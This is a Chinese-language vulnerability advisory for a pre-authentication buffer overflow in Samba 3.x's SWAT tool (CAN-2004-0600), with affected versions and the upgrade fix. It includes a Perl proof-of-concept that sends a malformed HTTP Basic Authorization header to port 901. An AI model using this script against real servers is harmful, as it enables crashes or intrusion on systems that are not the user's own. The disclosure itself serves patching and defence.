Samba 3.x SWAT预验证远程缓冲区溢出漏洞_安全漏洞聚焦_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

Samba 3.x SWAT预验证远程缓冲区溢出漏洞

作者:黑客防线网安网站维护基地 来源:黑客防线网安网站维护基地 浏览次数:0

本篇关键词:溢出漏洞
黑客防线网安网讯:发布时间:2004-07-22更新时间:2004-07-22严重程度:高威胁程度:远程管理员权限错误类型:边界检查错误利用方式:服务器模式CVE(CAN) ID:CAN-2004-0600受影响系统 
Samba 3.0.2                Samba 3.0.3 ...
发布时间:2004-07-22
更新时间:2004-07-22
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式
CVE(CAN) ID:cgi-bin/cvename.cgi?name=CAN-2004-0600">CAN-2004-0600

受影响系统
Samba 3.0.2
               Samba 3.0.3
               Samba 3.0.4
详细描述
SWAT是Samba Web管理工具

Samba SWAT服务预验证存在缓冲区溢出问题远程攻击者可以利用这个漏洞在系统上以SWAT进程权限执行任意指令问题存在于source/lib/util_str.c文件中的进行HTTP Basic验证的base64_decode_data_blob函数中.

测试代码
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
print $_;
}
print "\n";

close $remote;

解决方案
下载升级程序:

Samba 3.0.5:

http://www.samba.org/samba/whatsnew/samba-3.0.5.htm

相关信息
http://www.securiteam.com/unixfocus/5EP0R0KDFE.html
    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show.php?contentid-3057.html
网站维护教程更新时间:2010-09-11 00:17:22  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer